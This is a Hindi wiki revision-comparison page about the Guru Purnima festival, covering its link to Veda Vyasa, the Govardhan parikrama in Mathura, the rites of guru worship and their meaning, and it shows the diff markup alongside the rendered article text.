"गुरु पूर्णिमा": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
 
(4 सदस्यों द्वारा किए गए बीच के 10 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''गुरु पूर्णिमा / व्यास पूर्णिमा / मुड़िया पूनों'''<br />
{{सूचना बक्सा त्योहार
[[चित्र:Guru-Purnima-Govardhan-Mathura-1.jpg|thumb|250px|गुरु पूर्णिमा, [[गोवर्धन]], [[मथुरा]]<br /> Guru Purnima, Govardhan, Mathura]]
|चित्र=Guru-Purnima-Govardhan-Mathura-1.jpg
[[आषाढ़]] [[मास]] की [[पूर्णिमा]] 'व्यास पूर्णिमा' कहलाती है। [[गोवर्धन]] पर्वत की इस दिन लाखों श्रद्धालु परिक्रमा देते हैं । बंगाली साधु सिर मुंडाकर परिक्रमा करते हैं क्योंकि आज के दिन [[सनातन गोस्वामी]] का तिरोभाव हुआ था । [[ब्रज]] में इसे 'मुड़िया पूनों' कहा जाता है । आज का दिन गुरु–पूजा का दिन होता है । इस दिन [[गुरु]] की पूजा की जाती है। पूरे [[भारत]] में यह पर्व बड़ी श्रद्धा के साथ मनाया जाता है। वैसे तो 'व्यास' नाम के कई विद्वान हुए हैं परंतु [[व्यास|व्यास ऋषि]] जो चारों [[वेद|वेदों]] के प्रथम व्याख्याता थे, आज के दिन उनकी पूजा की जाती है। हमें वेदों का ज्ञान देने वाले व्यास जी ही थे। अत: वे हमारे 'आदिगुरु' हुए। उनकी स्मृति को बनाए रखने के लिए हमें अपने-अपने गुरुओं को [[व्यास]] जी का अंश मानकर उनकी पूजा करनी चाहिए। प्राचीन काल में जब विद्यार्थी गुरु के आश्रम में नि:शुल्क शिक्षा ग्रहण करते थे तो इसी दिन श्रद्धा भाव से प्रेरित होकर अपने गुरु की पूजा किया करते थे और उन्हें यथाशक्ति दक्षिणा अर्पण किया करते थे। इस दिन केवल गुरु की ही नहीं अपितु कुटुम्ब में अपने से जो बड़ा है अर्थात [[माता]]-[[पिता]], भाई-बहन आदि को भी गुरुतुल्य समझना चाहिए।
|चित्र का नाम= गुरु पूर्णिमा, गोवर्धन (मथुरा)
|अन्य नाम = व्यास पूर्णिमा, मुड़िया पूनों
|अनुयायी = [[हिंदू]]
|उद्देश्य = गुरु पूर्णिमा जगत् गुरु माने जाने वाले [[वेद व्यास]] को समर्पित है।
|प्रारम्भ = पौराणिक काल
|तिथि=[[आषाढ़]] [[मास]] की [[पूर्णिमा]]
|उत्सव =इस दिन [[गोवर्धन]] पर्वत की लाखों श्रद्धालु परिक्रमा देते हैं।
|अनुष्ठान =
|धार्मिक मान्यता =माना जाता है कि वेदव्यास का जन्म इसी दिन हुआ था। [[वेद|वेदों]] के सार [[ब्रह्मसूत्र]] की रचना भी वेदव्यास ने आज ही के दिन की थी। ऐसे जगत् गुरु के जन्म दिवस पर गुरु पूर्णिमा मनाने की परंपरा है।
|प्रसिद्धि =
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=इस दिन केवल गुरु की ही नहीं अपितु कुटुम्ब में अपने से जो बड़ा है अर्थात् [[माता]]-[[पिता]], भाई-बहन आदि को भी गुरुतुल्य समझना चाहिए।
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''गुरु पूर्णिमा / व्यास पूर्णिमा / मुड़िया पूनों''' [[आषाढ़]] [[मास]] की [[पूर्णिमा]] को कहा जाता है। इस दिन [[गोवर्धन परिक्रमा|गोवर्धन पर्वत]] की लाखों श्रद्धालु [[परिक्रमा]] देते हैं। बंगाली साधु सिर मुंडाकर परिक्रमा करते हैं, क्योंकि आज के दिन [[सनातन गोस्वामी]] का तिरोभाव हुआ था। [[ब्रज]] में इसे 'मुड़िया पूनों' कहा जाता है। आज का दिन गुरु–पूजा का दिन होता है। इस दिन [[गुरु]] की पूजा की जाती है। पूरे [[भारत]] में यह पर्व बड़ी श्रद्धा के साथ मनाया जाता है। वैसे तो 'व्यास' नाम के कई विद्वान् हुए हैं, परंतु [[व्यास|व्यास ऋषि]] जो चारों [[वेद|वेदों]] के प्रथम व्याख्याता थे, आज के दिन उनकी पूजा की जाती है। हमें [[वेद|वेदों]] का ज्ञान देने वाले व्यास जी ही थे। अत: वे हमारे 'आदिगुरु' हुए। उनकी स्मृति को बनाए रखने के लिए हमें अपने-अपने गुरुओं को [[व्यास]] जी का अंश मानकर उनकी पूजा करनी चाहिए। प्राचीन काल में जब विद्यार्थी गुरु के आश्रम में नि:शुल्क शिक्षा ग्रहण करते थे तो इसी दिन श्रद्धा भाव से प्रेरित होकर अपने गुरु की पूजा किया करते थे और उन्हें यथाशक्ति दक्षिणा अर्पण किया करते थे। इस दिन केवल गुरु की ही नहीं अपितु कुटुम्ब में अपने से जो बड़ा है अर्थात् [[माता]]-[[पिता]], भाई-बहन आदि को भी गुरुतुल्य समझना चाहिए।
==वेद व्यास जयंती==
गुरु पूर्णिमा जगत् गुरु माने जाने वाले वेद व्यास को समर्पित है। माना जाता है कि वेदव्यास का जन्म [[आषाढ़]] [[मास]] की [[पूर्णिमा]] को हुआ था। वेदों के सार [[ब्रह्मसूत्र]] की रचना भी वेदव्यास ने आज ही के दिन की थी। वेद व्यास ने ही वेद ऋचाओं का संकलन कर वेदों को चार भागों में बांटा था। उन्होंने ही [[महाभारत]], [[पुराण|18 पुराणों]] व 18 उप पुराणों की रचना की थी जिनमें [[भागवत पुराण]] जैसा अतुलनीय ग्रंथ भी शामिल है। ऐसे जगत् गुरु के जन्म दिवस पर गुरु पूर्णिमा मनाने की परंपरा है।<ref name="JJ">{{cite web |url=http://days.jagranjunction.com/2012/07/03/guru-purnima-2012-indian-festival/ |title= गुरु पूर्णिमा– अंधकार से प्रकाश की ओर ले जाने वाले गुरु को समर्पित|accessmonthday=2 जुलाई |accessyear=2013 |last= |first= |authorlink= |format= |publisher= जागरण जंक्शन|language=हिंदी }}</ref>[[चित्र:Danghati-Temple-Govardhan-Mathura-1.jpg|thumb|left|[[दानघाटी गोवर्धन|दानघाटी मन्दिर]] के सामने श्रद्धालुओं की भीड़, [[गोवर्धन]], [[मथुरा]]]]
==गुरुपूर्णिमा का महत्व==
<blockquote>गुरु ब्रह्मा, गुरु विष्णु गुरु देवो महेश्वर, गुरु साक्षात् परमं ब्रह्मा तस्मै श्री गुरुवे नम:</blockquote>
अर्थात- गुरु ही [[ब्रह्मा]] है, गुरु ही [[विष्णु]] है और गुरु ही भगवान [[शंकर]] है। गुरु ही साक्षात परब्रह्म है। ऐसे गुरु को मैं प्रणाम करता हूं।<br />
गुरु के प्रति नतमस्तक होकर कृतज्ञता व्यक्त करने का दिन है गुरुपूर्णिमा। गुरु के लिए [[पूर्णिमा]] से बढ़कर और कोई [[तिथि]] नहीं हो सकती। जो स्वयं में पूर्ण है, वही तो पूर्णत्व की प्राप्ति दूसरों को करा सकता है। पूर्णिमा के [[चंद्रमा]] की भांति जिसके जीवन में केवल प्रकाश है, वही तो अपने शिष्यों के अंत:करण में ज्ञान रूपी चंद्र की किरणें बिखेर सकता है। इस दिन हमें अपने गुरुजनों के चरणों में अपनी समस्त श्रद्धा अर्पित कर अपनी कृतज्ञता ज्ञापित करनी चाहिए। गुरु कृपा असंभव को संभव बनाती है। गुरु कृपा शिष्य के [[हृदय]] में अगाध ज्ञान का संचार करती है।<ref name="JJ"/>
====गुरु की महिमा====
[[चित्र:Guru-Purnima-Govardhan-Mathura-3.jpg|thumb|गुरु पूर्णिमा पर [[भजन-कीर्तन]] करते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]]]
गुरु को गोविंद से भी ऊंचा कहा गया है। शास्त्रों में गु का अर्थ बताया गया है- अंधकार या मूल अज्ञान और रु का का अर्थ किया गया है- उसका निरोधक। गुरु को गुरु इसलिए कहा जाता है कि वह अज्ञान तिमिर का ज्ञानांजन-शलाका से निवारण कर देता है। अर्थात् अंधकार को हटाकर प्रकाश की ओर ले जाने वाले को ‘गुरु’ कहा जाता है। गुरु तथा [[देवता]] में समानता के लिए एक [[श्लोक]] में कहा गया है कि जैसी भक्ति की आवश्यकता देवता के लिए है वैसी ही गुरु के लिए भी। सद्गुरु की कृपा से ईश्वर का साक्षात्कार भी संभव है। गुरु की कृपा के अभाव में कुछ भी संभव नहीं है। ‘व्यास’ का शाब्दिक संपादक, वेदों का व्यास यानी विभाजन भी संपादन की श्रेणी में आता है। कथावाचक शब्द भी व्यास का पर्याय है। कथावाचन भी देश-काल-परिस्थिति के अनुरूप पौराणिक कथाओं का विश्लेषण भी संपादन है। भगवान वेदव्यास ने वेदों का संकलन किया, 18 पुराणों और उपपुराणों की रचना की। ऋषियों के बिखरे अनुभवों को समाजभोग्य बना कर व्यवस्थित किया। पंचम वेद ‘[[महाभारत]]’ की रचना इसी पूर्णिमा के दिन पूर्ण की और विश्व के सुप्रसिद्ध आर्ष ग्रंथ [[ब्रह्मसूत्र]] का लेखन इसी दिन आरंभ किया। तब देवताओं ने वेदव्यासजी का पूजन किया। तभी से व्यास पूर्णिमा मनायी जा रही है।


इस दिन (गुरु पूजा के दिन) प्रात:काल स्नान पूजा आदि नित्य कर्मों से निवृत्त होकर उत्तम और शुद्ध वस्त्र धारण कर गुरु के पास जाना चाहिए। उन्हें ऊंचे सुसज्जित आसन पर बैठाकर पुष्पमाला पहनानी चाहिए। इसके बाद [[वस्त्र]], [[फल]], [[फूल]] व माला अर्पण कर तथा धन भेंट करना चाहिए। इस प्रकार श्रद्धापूर्वक पूजन करने से गुरु का आशीर्वाद प्राप्त होता है। गुरु के आशीर्वाद से ही विद्यार्थी को विद्या आती है। उसके हृदय का अज्ञानता का अन्धकार दूर होता है। गुरु का आशीर्वाद ही प्राणी मात्र के लिए कल्याणकारी, ज्ञानवर्धक और मंगल करने वाला होता है। संसार की संपूर्ण विद्याएं गुरु की कृपा से ही प्राप्त होती हैं और गुरु के आशीर्वाद से ही दी हुई विद्या सिद्ध और सफल होती है। इस पर्व को श्रद्धापूर्वक मनाना चाहिए, अंधविश्वासों के आधार पर नहीं। गुरु पूजन का मन्त्र है-
‘‘तमसो मा ज्योतिगर्मय’’ अंधकार की बजाय प्रकाश की ओर ले जाना ही गुरुत्व है। आगम-निगम-पुराण का निरंतर संपादन ही व्यास रूपी सद्गुरु शिष्य को परमपिता परमात्मा से साक्षात्कार का माध्यम है। जिससे मिलती है सारूप्य मुक्ति। तभी कहा गया- ‘‘सा विद्या या विमुक्तये।’’ आज विश्वस्तर पर जितनी भी समस्याएं दिखाई दे रही हैं, उनका मूल कारण है गुरु-शिष्य परंपरा का टूटना। श्रद्धावाल्लभते ज्ञानम्। आज गुरु-शिष्य में भक्ति का अभाव गुरु का धर्म ‘‘शिष्य को लूटना, येन केन प्रकारेण धनार्जन है’’ क्योंकि धर्मभीरुता का लाभ उठाते हुए धनतृष्णा कालनेमि गुरुओं को गुरुता से पतित करता है। यही कारण है कि विद्या का लक्ष्य ‘मोक्ष’ न होकर धनार्जन है। ऐसे में श्रद्धा का अभाव स्वाभाविक है। अन्ततः अनाचार, अत्याचार, व्यभिचार, भ्रष्टाचारादि कदाचार बढ़ा। व्यासत्व यानी गुरुत्व अर्थात् संपादकत्व का उत्थान परमावश्यक है।
[[चित्र:Chappan-Bhog-Girraj-Ji-Govardhan-Mathura-3.jpg|thumb|left|छप्पन भोग, [[गोवर्धन]], [[मथुरा]]]]
<poem>
==व्रत और विधान==
'गुरु ब्रह्मा गुरुर्विष्णु: गुरुदेव महेश्वर:।'
*इस दिन (गुरु पूजा के दिन) प्रात:काल स्नान पूजा आदि नित्य कर्मों से निवृत्त होकर उत्तम और शुद्ध वस्त्र धारण कर गुरु के पास जाना चाहिए।  
गुरु साक्षात्परब्रह्म तस्मैश्री गुरुवे नम:।।
* गुरु को ऊंचे सुसज्जित आसन पर बैठाकर पुष्पमाला पहनानी चाहिए। इसके बाद [[वस्त्र]], [[फल]], [[फूल]] व माला अर्पण कर तथा धन भेंट करना चाहिए। इस प्रकार श्रद्धापूर्वक पूजन करने से गुरु का आशीर्वाद प्राप्त होता है।  
</poem>
* गुरु के आशीर्वाद से ही विद्यार्थी को विद्या आती है। उसके हृदय का अज्ञानता का अन्धकार दूर होता है। गुरु का आशीर्वाद ही प्राणी मात्र के लिए कल्याणकारी, ज्ञानवर्धक और मंगल करने वाला होता है। संसार की संपूर्ण विद्याएं गुरु की कृपा से ही प्राप्त होती हैं और गुरु के आशीर्वाद से ही दी हुई विद्या सिद्ध और सफल होती है।  
*गुरु पूर्णिमा पर [[व्यास|व्यासजी]] द्वारा रचे हुए ग्रंथों का अध्ययन-मनन करके उनके उपदेशों पर आचरण करना चाहिए।
*इस दिन केवल गुरु (शिक्षक) ही नहीं, अपितु माता-पिता, बड़े भाई-बहन आदि की भी पूजा का विधान है।
* इस पर्व को श्रद्धापूर्वक मनाना चाहिए, अंधविश्वासों के आधार पर नहीं। गुरु पूजन का मन्त्र है-
<blockquote>'गुरु ब्रह्मा गुरुर्विष्णु: गुरुदेव महेश्वर:।'<br />
गुरु साक्षात्परब्रह्म तस्मैश्री गुरुवे नम:।।</blockquote>
==क्या करें गुरु पूर्णिमा के दिन==
[[चित्र:Mansi-Ganga-4.jpg|thumb|[[मानसी गंगा]] पर स्नान करते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]]]
* प्रातः घर की सफाई, स्नानादि नित्य कर्म से निवृत्त होकर साफ-सुथरे वस्त्र धारण करके तैयार हो जाएं।
* घर के किसी पवित्र स्थान पर पटिए पर सफेद वस्त्र बिछाकर उस पर 12-12 रेखाएं बनाकर व्यास-पीठ बनाना चाहिए।
* फिर हमें 'गुरुपरंपरासिद्धयर्थं व्यासपूजां करिष्ये' मंत्र से पूजा का संकल्प लेना चाहिए।
* तत्पश्चात् दसों दिशाओं में अक्षत छोड़ना चाहिए।
* फिर [[व्यास|व्यासजी]], [[ब्रह्मा|ब्रह्माजी]], [[शुकदेव|शुकदेवजी]], गोविंद स्वामीजी और [[शंकराचार्य|शंकराचार्यजी]] के नाम, मंत्र से पूजा का आवाहन करना चाहिए।
* अब अपने गुरु अथवा उनके चित्र की पूजा करके उन्हें यथा योग्य दक्षिणा देना चाहिए।<ref>{{cite web |url=http://hindi.webdunia.com/religion-occasion-others/%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82-%E0%A4%97%E0%A5%81%E0%A4%B0%E0%A5%81-%E0%A4%AA%E0%A5%82%E0%A4%B0%E0%A5%8D%E0%A4%A3%E0%A4%BF%E0%A4%AE%E0%A4%BE-%E0%A4%95%E0%A5%87-%E0%A4%A6%E0%A4%BF%E0%A4%A8-1120703006_1.htm |title=क्या करें गुरु पूर्णिमा के दिन...|accessmonthday=2 जुलाई |accessyear=2013 |last= |first= |authorlink= |format= |publisher= वेबदुनिया हिंदी|language=हिंदी }}</ref>
==आषाढ़ की पूर्णिमा को ही क्यों==
[[आषाढ़]] [[पूर्णिमा]] को 'गुरु पूर्णिमा' के रूप में मानने का क्या राज़ है?


धर्म जीवन को देखने का काव्यात्मक ढंग है। सारा धर्म एक [[महाकाव्य]] है। अगर यह तुम्हें खयाल में आए, तो आषाढ़ की पूर्णिमा बड़ी अर्थपूर्ण हो जाएगी। अन्यथा [[आषाढ़]] में [[पूर्णिमा]] दिखाई भी न पड़ेगी। [[बादल]] घिरे होंगे, [[आकाश]] खुला न होगा। और भी प्यारी पूर्णिमाएं हैं, [[शरद पूर्णिमा]] है, उसको क्यों नहीं चुन लिया? लेकिन चुनने वालों का कोई खयाल है, कोई इशारा है। वह यह है कि गुरु तो है पूर्णिमा जैसा, और शिष्य है आषाढ़ जैसा। [[शरद पूर्णिमा]] का चांद तो सुंदर होता है, क्योंकि आकाश ख़ाली है। वहां शिष्य है ही नहीं, गुरु अकेला है। आषाढ़ में सुंदर हो, तभी कुछ बात है, जहां गुरु बादलों जैसा घिरा हो शिष्यों से। शिष्य सब तरह के हैं, जन्मों-जन्मों के अंधेरे को लेकर आ छाए हैं। वे अंधेरे बादल हैं, आषाढ़ का मौसम हैं। उसमें भी गुरु चांद की तरह चमक सके, उस अंधेरे से घिरे वातावरण में भी रोशनी पैदा कर सके, तो ही गुरु है। इसलिए आषाढ़ की पूर्णिमा! वह गुरु की तरफ भी इशारा है और उसमें शिष्य की तरफ भी इशारा है। और स्वभावत: दोनों का मिलन जहां हो, वहीं कोई सार्थकता है।<ref>{{cite web |url=http://navbharattimes.indiatimes.com/-/holy-discourse/religious-discourse/---/articleshow/3246573.cms |title=आषाढ़ की पूर्णिमा को ही क्यों मनाते हैं गुरु पूर्णिमा |accessmonthday=2 जुलाई |accessyear=2013 |last= |first= |authorlink= |format= |publisher= नवभारत टाइम्स|language=हिंदी }}</ref>
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
==वीथिका==  
==वीथिका==  
<gallery>
<gallery>
चित्र:Danghati-Temple-Govardhan-Mathura-1.jpg|[[दानघाटी गोवर्धन|दानघाटी मन्दिर]] के सामने श्रद्धालुओं की भीड़, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-3.jpg|गुरु पूर्णिमा पर भजन-कीर्तन करते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
चित्र:Chappan-Bhog-Girraj-Ji-Govardhan-Mathura-3.jpg|छप्पन भोग, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-4.jpg|गुरु पूर्णिमा पर चैतन्य वैष्णव संघ के श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-4.jpg|गुरु पूर्णिमा पर चैतन्य वैष्णव संघ के श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-5.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का भजन-कीर्तन, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-5.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का [[भजन-कीर्तन]], [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-7.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का भजन-कीर्तन, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-7.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का [[भजन-कीर्तन]], [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-8.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का भजन-कीर्तन, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-8.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का [[भजन-कीर्तन]], [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-2.jpg|गुरु पूर्णिमा पर [[दानघाटी गोवर्धन|दानघाटी]] में श्रद्धालुओं की भीड़ , [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-2.jpg|गुरु पूर्णिमा पर [[दानघाटी गोवर्धन|दानघाटी]] में श्रद्धालुओं की भीड़ , [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-10.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का भजन-कीर्तन, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-10.jpg|गुरु पूर्णिमा पर श्रद्धालुओं का [[भजन-कीर्तन]], [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-11.jpg|गुरु पूर्णिमा पर श्रद्धालुओं की भीड़, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-11.jpg|गुरु पूर्णिमा पर श्रद्धालुओं की भीड़, [[गोवर्धन]], [[मथुरा]]
चित्र:Mansi-Ganga-4.jpg|मानसी गंगा पर स्नान करते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-13.jpg|गुरु पूर्णिमा पर श्रद्धालुओं की भीड़, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-13.jpg|गुरु पूर्णिमा पर श्रद्धालुओं की भीड़, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-14.jpg|गुरु पूर्णिमा पर दंडौती लगाते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-14.jpg|गुरु पूर्णिमा पर दंडौती लगाते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
पंक्ति 28: पंक्ति 70:
चित्र:Guru-Purnima-Govardhan-Mathura-15.jpg|गुरु पूर्णिमा पर दंडौती लगाते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
चित्र:Guru-Purnima-Govardhan-Mathura-15.jpg|गुरु पूर्णिमा पर दंडौती लगाते श्रद्धालु, [[गोवर्धन]], [[मथुरा]]
</gallery>
</gallery>
{{प्रचार}}
==टीका-टिप्पणी और संदर्भ==
 
<references/>
==बाहरी कड़ियाँ==
*[http://www.jagran.com/uttar-pradesh/mathura-9360870.html मुड़िया पूर्णिमा मेला]
==संबंधित लेख==
==संबंधित लेख==
{{पर्व और त्योहार}}
{{पर्व और त्योहार}}{{व्रत और उत्सव}}
{{व्रत और उत्सव}}
[[Category:संस्कृति कोश]][[Category:पर्व और त्योहार]][[Category:व्रत और उत्सव]][[Category:हिन्दू धर्म कोश]]
[[Category:संस्कृति कोश]]
[[Category:पर्व और त्योहार]]
[[Category:व्रत और उत्सव]]
 
__INDEX__
__INDEX__

05:03, 3 जुलाई 2023 के समय का अवतरण

गुरु पूर्णिमा
गुरु पूर्णिमा, गोवर्धन (मथुरा)
गुरु पूर्णिमा, गोवर्धन (मथुरा)
अन्य नाम व्यास पूर्णिमा, मुड़िया पूनों
अनुयायी हिंदू
उद्देश्य गुरु पूर्णिमा जगत् गुरु माने जाने वाले वेद व्यास को समर्पित है।
प्रारम्भ पौराणिक काल
तिथि आषाढ़ मास की पूर्णिमा
उत्सव इस दिन गोवर्धन पर्वत की लाखों श्रद्धालु परिक्रमा देते हैं।
धार्मिक मान्यता माना जाता है कि वेदव्यास का जन्म इसी दिन हुआ था। वेदों के सार ब्रह्मसूत्र की रचना भी वेदव्यास ने आज ही के दिन की थी। ऐसे जगत् गुरु के जन्म दिवस पर गुरु पूर्णिमा मनाने की परंपरा है।
अन्य जानकारी इस दिन केवल गुरु की ही नहीं अपितु कुटुम्ब में अपने से जो बड़ा है अर्थात् माता-पिता, भाई-बहन आदि को भी गुरुतुल्य समझना चाहिए।

गुरु पूर्णिमा / व्यास पूर्णिमा / मुड़िया पूनों आषाढ़ मास की पूर्णिमा को कहा जाता है। इस दिन गोवर्धन पर्वत की लाखों श्रद्धालु परिक्रमा देते हैं। बंगाली साधु सिर मुंडाकर परिक्रमा करते हैं, क्योंकि आज के दिन सनातन गोस्वामी का तिरोभाव हुआ था। ब्रज में इसे 'मुड़िया पूनों' कहा जाता है। आज का दिन गुरु–पूजा का दिन होता है। इस दिन गुरु की पूजा की जाती है। पूरे भारत में यह पर्व बड़ी श्रद्धा के साथ मनाया जाता है। वैसे तो 'व्यास' नाम के कई विद्वान् हुए हैं, परंतु व्यास ऋषि जो चारों वेदों के प्रथम व्याख्याता थे, आज के दिन उनकी पूजा की जाती है। हमें वेदों का ज्ञान देने वाले व्यास जी ही थे। अत: वे हमारे 'आदिगुरु' हुए। उनकी स्मृति को बनाए रखने के लिए हमें अपने-अपने गुरुओं को व्यास जी का अंश मानकर उनकी पूजा करनी चाहिए। प्राचीन काल में जब विद्यार्थी गुरु के आश्रम में नि:शुल्क शिक्षा ग्रहण करते थे तो इसी दिन श्रद्धा भाव से प्रेरित होकर अपने गुरु की पूजा किया करते थे और उन्हें यथाशक्ति दक्षिणा अर्पण किया करते थे। इस दिन केवल गुरु की ही नहीं अपितु कुटुम्ब में अपने से जो बड़ा है अर्थात् माता-पिता, भाई-बहन आदि को भी गुरुतुल्य समझना चाहिए।

वेद व्यास जयंती

गुरु पूर्णिमा जगत् गुरु माने जाने वाले वेद व्यास को समर्पित है। माना जाता है कि वेदव्यास का जन्म आषाढ़ मास की पूर्णिमा को हुआ था। वेदों के सार ब्रह्मसूत्र की रचना भी वेदव्यास ने आज ही के दिन की थी। वेद व्यास ने ही वेद ऋचाओं का संकलन कर वेदों को चार भागों में बांटा था। उन्होंने ही महाभारत, 18 पुराणों व 18 उप पुराणों की रचना की थी जिनमें भागवत पुराण जैसा अतुलनीय ग्रंथ भी शामिल है। ऐसे जगत् गुरु के जन्म दिवस पर गुरु पूर्णिमा मनाने की परंपरा है।[1]

दानघाटी मन्दिर के सामने श्रद्धालुओं की भीड़, गोवर्धन, मथुरा

गुरुपूर्णिमा का महत्व

गुरु ब्रह्मा, गुरु विष्णु गुरु देवो महेश्वर, गुरु साक्षात् परमं ब्रह्मा तस्मै श्री गुरुवे नम:

अर्थात- गुरु ही ब्रह्मा है, गुरु ही विष्णु है और गुरु ही भगवान शंकर है। गुरु ही साक्षात परब्रह्म है। ऐसे गुरु को मैं प्रणाम करता हूं।
गुरु के प्रति नतमस्तक होकर कृतज्ञता व्यक्त करने का दिन है गुरुपूर्णिमा। गुरु के लिए पूर्णिमा से बढ़कर और कोई तिथि नहीं हो सकती। जो स्वयं में पूर्ण है, वही तो पूर्णत्व की प्राप्ति दूसरों को करा सकता है। पूर्णिमा के चंद्रमा की भांति जिसके जीवन में केवल प्रकाश है, वही तो अपने शिष्यों के अंत:करण में ज्ञान रूपी चंद्र की किरणें बिखेर सकता है। इस दिन हमें अपने गुरुजनों के चरणों में अपनी समस्त श्रद्धा अर्पित कर अपनी कृतज्ञता ज्ञापित करनी चाहिए। गुरु कृपा असंभव को संभव बनाती है। गुरु कृपा शिष्य के हृदय में अगाध ज्ञान का संचार करती है।[1]

गुरु की महिमा

गुरु पूर्णिमा पर भजन-कीर्तन करते श्रद्धालु, गोवर्धन, मथुरा

गुरु को गोविंद से भी ऊंचा कहा गया है। शास्त्रों में गु का अर्थ बताया गया है- अंधकार या मूल अज्ञान और रु का का अर्थ किया गया है- उसका निरोधक। गुरु को गुरु इसलिए कहा जाता है कि वह अज्ञान तिमिर का ज्ञानांजन-शलाका से निवारण कर देता है। अर्थात् अंधकार को हटाकर प्रकाश की ओर ले जाने वाले को ‘गुरु’ कहा जाता है। गुरु तथा देवता में समानता के लिए एक श्लोक में कहा गया है कि जैसी भक्ति की आवश्यकता देवता के लिए है वैसी ही गुरु के लिए भी। सद्गुरु की कृपा से ईश्वर का साक्षात्कार भी संभव है। गुरु की कृपा के अभाव में कुछ भी संभव नहीं है। ‘व्यास’ का शाब्दिक संपादक, वेदों का व्यास यानी विभाजन भी संपादन की श्रेणी में आता है। कथावाचक शब्द भी व्यास का पर्याय है। कथावाचन भी देश-काल-परिस्थिति के अनुरूप पौराणिक कथाओं का विश्लेषण भी संपादन है। भगवान वेदव्यास ने वेदों का संकलन किया, 18 पुराणों और उपपुराणों की रचना की। ऋषियों के बिखरे अनुभवों को समाजभोग्य बना कर व्यवस्थित किया। पंचम वेद ‘महाभारत’ की रचना इसी पूर्णिमा के दिन पूर्ण की और विश्व के सुप्रसिद्ध आर्ष ग्रंथ ब्रह्मसूत्र का लेखन इसी दिन आरंभ किया। तब देवताओं ने वेदव्यासजी का पूजन किया। तभी से व्यास पूर्णिमा मनायी जा रही है।

‘‘तमसो मा ज्योतिगर्मय’’ अंधकार की बजाय प्रकाश की ओर ले जाना ही गुरुत्व है। आगम-निगम-पुराण का निरंतर संपादन ही व्यास रूपी सद्गुरु शिष्य को परमपिता परमात्मा से साक्षात्कार का माध्यम है। जिससे मिलती है सारूप्य मुक्ति। तभी कहा गया- ‘‘सा विद्या या विमुक्तये।’’ आज विश्वस्तर पर जितनी भी समस्याएं दिखाई दे रही हैं, उनका मूल कारण है गुरु-शिष्य परंपरा का टूटना। श्रद्धावाल्लभते ज्ञानम्। आज गुरु-शिष्य में भक्ति का अभाव गुरु का धर्म ‘‘शिष्य को लूटना, येन केन प्रकारेण धनार्जन है’’ क्योंकि धर्मभीरुता का लाभ उठाते हुए धनतृष्णा कालनेमि गुरुओं को गुरुता से पतित करता है। यही कारण है कि विद्या का लक्ष्य ‘मोक्ष’ न होकर धनार्जन है। ऐसे में श्रद्धा का अभाव स्वाभाविक है। अन्ततः अनाचार, अत्याचार, व्यभिचार, भ्रष्टाचारादि कदाचार बढ़ा। व्यासत्व यानी गुरुत्व अर्थात् संपादकत्व का उत्थान परमावश्यक है।

छप्पन भोग, गोवर्धन, मथुरा

व्रत और विधान

  • इस दिन (गुरु पूजा के दिन) प्रात:काल स्नान पूजा आदि नित्य कर्मों से निवृत्त होकर उत्तम और शुद्ध वस्त्र धारण कर गुरु के पास जाना चाहिए।
  • गुरु को ऊंचे सुसज्जित आसन पर बैठाकर पुष्पमाला पहनानी चाहिए। इसके बाद वस्त्र, फल, फूल व माला अर्पण कर तथा धन भेंट करना चाहिए। इस प्रकार श्रद्धापूर्वक पूजन करने से गुरु का आशीर्वाद प्राप्त होता है।
